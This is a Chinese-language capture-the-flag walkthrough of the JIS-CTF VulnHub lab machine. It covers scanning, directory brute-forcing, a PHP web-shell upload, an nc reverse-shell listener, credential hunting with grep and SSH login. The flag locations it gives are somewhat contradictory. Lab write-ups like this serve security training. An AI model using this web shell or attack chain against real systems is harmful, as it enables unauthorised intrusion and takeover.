VulnHub靶机学习——JIS-CTF实战记录
字数 1575 2025-08-18 11:38:28
VulnHub靶机JIS-CTF渗透测试实战教程
靶机概述
- 靶机名称: JIS-CTF
- 难度等级: 初级
- 目标: 获取5个flag
- 下载地址: JIS-CTF-VulnUpload-CTF01.ova
- 环境配置:
- 攻击机: Kali Linux
- 靶机: JIS-CTF
- 网络设置: 均使用VMware的NAT模式
渗透测试过程详解
1. 网络发现与端口扫描
首先使用nmap扫描本地网络,发现靶机IP地址:
nmap 192.168.50.0/24
发现靶机IP为192.168.50.146
2. Web应用信息收集
访问靶机Web服务(http://192.168.50.146),发现用户登录页面。
目录爆破
使用目录爆破工具(如dirb、dirbuster等)扫描Web目录,发现敏感路径:
/flag- 包含第一个flag/robots.txt- 提供线索/admin_area- 管理区域
获取Flag1
直接访问/flag路径,获取第一个flag。
获取Flag2
- 访问
/robots.txt文件,发现提示 - 访问
/admin_area路径 - 查看页面源代码,发现第二个flag及一组凭据:
- 用户名:
admin - 密码:
3v1l_H@ck3r
- 用户名:
3. 利用文件上传漏洞
- 使用获取的凭据登录Web应用
- 发现文件上传功能
- 测试上传路径:
/uploads- 不存在/uploaded_files- 存在但为空
获取Web Shell
- 准备PHP一句话木马:
<?php system($_GET['cmd']); ?> - 上传木马文件
- 在Kali上启动监听:
nc -lvnp 6666 - 通过Web Shell执行反弹Shell命令
4. 系统内信息收集
在获取的Shell中探索系统:
- 检查
/home目录 - 无有用信息 - 检查
/var/www目录:/var/www/html/flag.txt- 第三个flag/var/www/html/notice.txt- 提供提示,需要technawi用户权限
获取Flag3
直接查看/var/www/html/notice.txt文件内容,获取第三个flag。
5. 获取SSH访问权限
- 搜索technawi用户相关凭据:
grep -rns technawi /etc/ - 发现
/etc/credentials.txt文件 - 查看文件内容,获取:
- 第四个flag
- technawi用户密码:
JIS_@_BEST_CTF
获取Flag4
从/etc/credentials.txt文件中获取第四个flag。
6. SSH连接与权限提升
- 通过SSH连接靶机:
ssh -p22 technawi@192.168.50.146 - 输入获取的密码
JIS_@_BEST_CTF - 访问之前无法查看的文件:
cat /var/www/html/flag.txt
获取Flag5
成功查看/var/www/html/flag.txt内容,获取第五个flag。
技术要点总结
-
信息收集:
- 网络扫描发现靶机
- 目录爆破发现敏感路径
- robots.txt文件分析
-
漏洞利用:
- 通过源代码分析获取凭据
- 文件上传漏洞利用
- Web Shell获取与利用
-
权限提升:
- 系统内敏感信息搜索
- SSH服务利用
- 受限文件访问
-
Flag获取路径:
- Flag1: 直接访问
/flag - Flag2:
/admin_area页面源代码 - Flag3:
/var/www/html/notice.txt - Flag4:
/etc/credentials.txt - Flag5:
/var/www/html/flag.txt(需要technawi用户权限)
- Flag1: 直接访问
学习收获
- 基础渗透测试流程的完整实践
- 多角度信息收集技巧
- 源代码分析的重要性
- 从Web漏洞到系统权限的完整攻击链
- 多flag靶机的挑战方式
改进建议
- 可以尝试不使用提供的凭据,通过其他方式获取Web应用访问权限
- 探索更多提权方法,不只是依赖SSH服务
- 尝试自动化工具与手动测试的结合使用